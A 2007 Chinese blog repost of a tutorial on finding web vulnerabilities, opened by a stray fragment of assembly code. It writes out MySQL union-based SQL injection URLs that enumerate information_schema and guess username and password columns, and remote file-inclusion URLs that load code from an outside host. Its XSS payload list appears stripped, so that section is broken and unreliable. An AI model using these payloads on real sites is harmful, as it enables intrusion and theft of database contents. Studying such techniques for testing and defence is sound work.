invoke lstrcmp,addr FileNameOfAsm,addr FileName
.if eax == NULL
invoke MessageBox,NULL,addr szText,ebx,MB_OK ;查询程序名字正确，这里开始程序运行。
invoke ExitProcess,NULL
.elseif
invoke ExitProcess,NULL
.endif
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start

Lycou' Blog 2007-02-01 15:49 发表评论

WEB漏洞挖掘技术

Lycou' Blog — Thu, 01 Feb 2007 07:48:00 GMT

WEB漏洞挖掘技术

作者：7all 来源：安全焦点发布时间：2007-2-1 0:49:53 发布人：黑客动画吧

减小字体增大字体

来源：安全焦点
作者：7all (sgh81_at_163.com)

WEB漏洞挖掘技术

|=---------------=[ WEB漏洞挖掘技术 ]=-----------------------------=|
|=-----------------------------------------------------------------=|
|=---------------=[ 7all<7all7_at_163.com> ]=----------------------=|
|=-----------------------------------------------------------------=|
|=---------------=[ bbs.cciss.cn ]=--------------------------------=|

--]前言
漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的
提升而有所变化.在前期针对缓冲区溢出格式化字符串堆溢出 lib库溢出等技术都
是针对ELF文件(Linux可执行文件)或者PE文件(Win可执行文件)的漏洞挖掘技术.
在针对ELF文件 PE文件(*.exe与*.dll)的漏洞挖掘过程中,出现了很多的漏洞挖掘
技术,但是针对PE文件 ELF文件的漏洞挖掘始终停留在了黑盒测试(包括单元黑盒测试)
源代码审计等办法.通过RATS等源代码审计软件可以找到部分源代码级别的漏洞信息,
但是毕竟源代码审计软件寻找的多数为strcpy memcpy等存在缓冲区溢出遗患的C函数,
所以通过审计源代码的办法来进行漏洞挖掘是一个可能性系数很小的漏洞挖掘技术,而
针对软件的黑盒子测试虽然也能找到一些软件的漏洞,但可能性系数也会较小,在国外
的一些进行漏洞挖掘的办法已经慢慢的提升为自己写黑盒子测试代码,然后针对系统或
软件的某个功能模块进行模块化的漏洞挖掘技术.例如Linux内核的很多漏洞都是通过
fuzzing技术找到的,fuzzing即模糊测试的意思,大家可以理解为类似SQL盲注入类型的
攻击技术.
网络安全的界限在不断的提升,目前缓冲区溢出漏洞已经如MS SQL注入般的被很多人
堵死,而在进行网络入侵渗透的过程中,很多人渗透成功的着力点都是通过WEB开始的,
当然有些人是通过MS SQL注入,有些人通过其它的WEB漏洞技术一步步的走到了入侵成功
的步骤.我们下面将会讨论一些WEB漏洞挖掘的简单技术,通过这些简单技术的规则,然后
配合经验的提高,大家或许会得到意想不到的效果.

--]WEB漏洞的分类
A: SQL注入(包括MSSQL MySQL Oracle等)
SQL注入漏洞,是依靠存在弱点的WEB脚本代码,来实现通过浏览器执行任意SQL语句,从而
实现最终获取某种权限的攻击技术.SQL注入的关键部分在于对元数据的利用,所谓元数据即
数据库的基础数据.例如我们可以通过database() version()来获得数据库的名称及版本,
而我们通过SQL内置函数获得的这些内容都属于数据库元数据的内容.理解了元数据的概念,
在后面的章节我会给大家简单的讲解下通过元数据来获取MySQL的数据表.

B: 文件包含类型,如PHP的的远程本地文件包含漏洞
文件包含漏洞是PHP程序特有的一个弱点攻击,原理就是在使用include时没有安全的编程,
而能够找到文件包含漏洞则是入侵一个WEB系统的很重要的因素,有了文件包含漏洞则可以
很快速的达到上传WEBSHELL,然后本地提升权限的作用.

C: XSS
XSS漏洞是被很多人遗忘的漏洞,但是XSS也是一个比较危险的安全隐患,我看到很多国内介绍
XSS漏洞的文章大部分在如何欺骗管理员获得后台登陆帐户或者管理员的cookies文件.但这些
仅仅是XSS漏洞的简单用法,如果寻找到的XSS漏洞可以任意执行任何的Javascript脚本,那安全
性也是不容忽视的.通过Javascript脚本其实也可以做一些恶意的攻击,甚至可以获得一些WEB
程序的源代码,当然这个要看大家对Javascript脚本的熟悉程度.例如我们这几天公布的这个可
跨站执行任意Javascript脚本的漏洞,最后我也通过这个漏洞给客户演示了如何获取他们的服务
器信息,并最终实现得到其一定权限的方法.
同时例如session欺骗 cookies欺骗,目前我也把这些规入了XSS漏洞的范围,当然仅仅研究这
两个技术也是很值得大家去深入的进行漏洞挖掘的.

--]WEB漏洞挖掘规则
我想给大家事先说明下,该文档的所有内容都为黑盒子测试的范围,也即使用这些漏洞挖掘规则,
大家仅仅需要一个WEB浏览器,如IE Firefox等即可,也无需读取WEB程序的源代码,只要某个规则
符合了漏洞规则的要求,大家即可以采取相关的漏洞攻击技术进行相应的漏洞攻击办法:)
再次的罗嗦一下,在本文档我没有实际的例子给大家,但是很多漏洞挖掘的规则都是一些经验的
积累,而且很多可能在实际进行漏洞挖掘时需要与实际情况进行分析处理,例如:
http://website/index1.php?id=,如果对方的代码过滤了"双引号
那么可以通过http://website/index1.php?id=,采用'单引号测试
若单引号也过滤呢?OK,我们这样来测试http://website/index1.php?id=
使用数字提交,这样测试XSS的漏洞就扩展到了三条:)有些具体的站点可能还会有很多的问题,例如:
通过构造HTML语句来实现XSS漏洞的挖掘等等.

A: XSS的漏洞挖掘规则

http://website/index1.php?id=

http://website/index1.php?id=

http://website/index1.php?id=

http://website/index1.php?id=

http://website/index1.php?id=

http://website/index1.php?id=

http://website/index1.php?id=

http://website/index1.php?id=

http://website/index1.php?id=

http://website/index1.php?id=<"

http://website/index1.php?id=<'

http://website/index1.php?id=<

http://website/index1.php?id=

http://website/index1.php?id=

使用上面的这些简单漏洞规则,如果模糊测试一些站点的话,是可以找到一些XSS漏洞的,当然这些
不是全部的XSS漏洞规则,但是我觉得这些规则比较经典些:)我测试一些站点的时候,使用这些
规则基本上可以找到一些XSS漏洞.

B: SQL Injection
现在,MSSQL的注入技术已经变的很简单,下面的内容我们针对mysql的注入和大家一起讨论下
相关的技术,这些技术有简单的,也有一些比较复杂的.另外mysql的注入工具目前没有任何比较
强的工具,目前书写一款功能较强的MySQL注入检测工具也基本纳入了2007年的计划内.
下面会针对各种规则,然后对这些规则进行简单的说明,很多规则我相信大家都用过的,不对
的地方希望大家给予指针.
下面的这四个语句判断是否存在mysql注入,其中'号类型的测试已经不是很可行,特别在PHP5和mysql
5的环境下:)

http://website/index1.php?id=1'

http://website/index1.php?id=1 and 1=1

http://website/index1.php?id=1 and 1=2

http://website/index1.php?id=1 order by 4 //4为判断该表的列数,直到猜测到为止

下面的语句来获取mysql的一些信息,这里我们假设我们使用order by语句判断出的列数为4

http://website/index1.php?id=1 and 1=1 union select 1,2,3,4

http://website/index1.php?id=1 and 1=1 union select version(),database(),user(),4

http://website/index1.php?id=1 and 1=1 union select 1/*

http://website/index1.php?id=1 and 1=1 union select version()/*

http://website/index1.php?id=1 and 1=1 union select databse()/*

猜测表名:

http://website/index1.php?id=1 and 1=1 union select 1,2,3,4 from database.table where 1=2

//where 1=2 不打印猜测表的内容

这里的猜测就需要大家多靠经验了,如admin user articles news等等,而且必须在指定select
的字段个数再使用,否则mysql会报错.
http://website/index1.php?id=1 and 1=1 union select table_schema,table_name,table_rows,
table_count from information_schema.tables //如果执行这条语句是可行的,那么恭喜大家可以
得到更多的数据库信息了:)
上面我曾经提到过使用数据库的元数据来获取mysql的信息,就是这里的这个办法,当然前提是系统
管理员没有禁止mysql普通用户对元数据库的表查询,如果禁止了则该办法是无效的.
在开始分析mysql数据库到底可以执行到那种程度的注入情况下,我花了一天的时间分析了mysql的
系统架构,最终发现通过information_schema数据库提供给mysql用户的元数据可以得到一些mysql
数据库的基本信息,例如得到数据库的各个表信息等,还可以得到数据库的权限设置等信息,下面的
内容属于临时增加的一个章节,我们一起来讨论下information_schema数据库的一些我们用到的表
的具体字段到底是干什么的:)

1: KEY_COLUMN_USAGE表

constraint_schema: 存放数据库名

table_schema: 存放数据库名

table_name: 存放数据库表信息

column_name: 存放数据库的字段信息,一般可以获取第一个字段或者自增字段的信息

2: SCHEMA表

schema_name: 存放数据库名

default_charater_set_name: 存放charset类型

default_collation_name: 存放charset相关信息

3: SCHEMA_PRIVILEGES表

grantee: 存放数据库用户名

table_schema: 表名

privilege_type: 权限

4: STATISTICS表

table_schema: 存放数据库名

table_name: 存放表名

index_schema: 数据库名

index_name: 是否缩引?

column_name: 存放索引自增字段?

5: TABLES表

table_schema: 存放数据库名

table_name: 存放表名

table_type: 表类型 SYSTEM or BASE TABLE

engin: MEMORY MYISAM InnoDB

version:

table_rows:表的行数

auto_increment: 自增的总行数

create_time: 创建表的时间

update_time: 更新表的时间

create_options: 创建表时的约束条件

...

有了这些以后,如果对方系统管理员忽略了这些,则可以达到我们不需要猜测表名而
直接获取数据库表名的结果.我在本地测试时一切OK:)

猜测列名:
http://website/index1.php?id=1 and 1=1 union select username,2,3,4 from user where 1=2
按照这个规则依次类推,如果我们猜测到user表存在username字段,则程序执行是正常的,否则程序会
出错,也可以使用where 1=1来打印表的信息,通过这样的办法就可以获取mysql数据库的某些关键表
的字段信息,如:admin与password:)

C: 文件包含漏洞
文件包含漏洞的测试,有以下几个比较简单且有效的办法.
1: 新建一个简单的php代码,如:,保存为*.txt格式
2: 新建一个简单的php代码,如:,保存为无后缀格式

然后我们测试时只需要采取下面简单的办法即可,这里我们假设我们下面的文件URL为:

http://bbs.cciss.cn/include.txt

http://bbs.cciss.cn/include

漏洞规则:

http://website/file.php?inc=http://bbs.cciss.cn/include.txt

http://website/file.php?inc=http://bbs.cciss.cn/include.txt?

http://website/file.php?inc=http://bbs.cciss.cn/include?

http://website/file.php?inc=http://bbs.cciss.cn/include

使用上面的简单规则即可实现文件包含漏洞的测试,当然得根据具体的返回信息来判断.
例如从XSS漏洞的检测规则可能会发现包含文件漏洞:)

如果我们知道PHP的某个函数存在缓冲区溢出,我们假设这个PHP的内置函数为phphtml(char *str),
那么我们如何利用这样的漏洞呢?
我们假设http://website/file.php?inc=test,这里的参数inc经过PHP代码时使用了phphtml内置
函数,则可以使用下面的办法来触发漏洞
http://website/file.php?inc=11111111111....n(n为触发漏洞的最大字符数)
当然类似这样的漏洞是需要写程序来自动运行的,然后来触发溢出并执行shellcode.
但这里也存在一个问题,即一般情况下,类似PHP本身的溢出漏洞的利用是有些难度存在的.

--] 总结
针对WEB漏洞的挖掘,规则有N多,其中还有很多变种的规则.这里说的基本上是一些可以简单采取
手工办法测试的规则,更多的规则是依靠经验不断积累所致:)
本文比较简单,也没有什么技术含量,只是看到xfocus上介绍WEB漏洞的文章较少,所以才想到提交下,
希望对大家有所帮助.
write by 7all

Lycou' Blog 2007-02-01 15:48 发表评论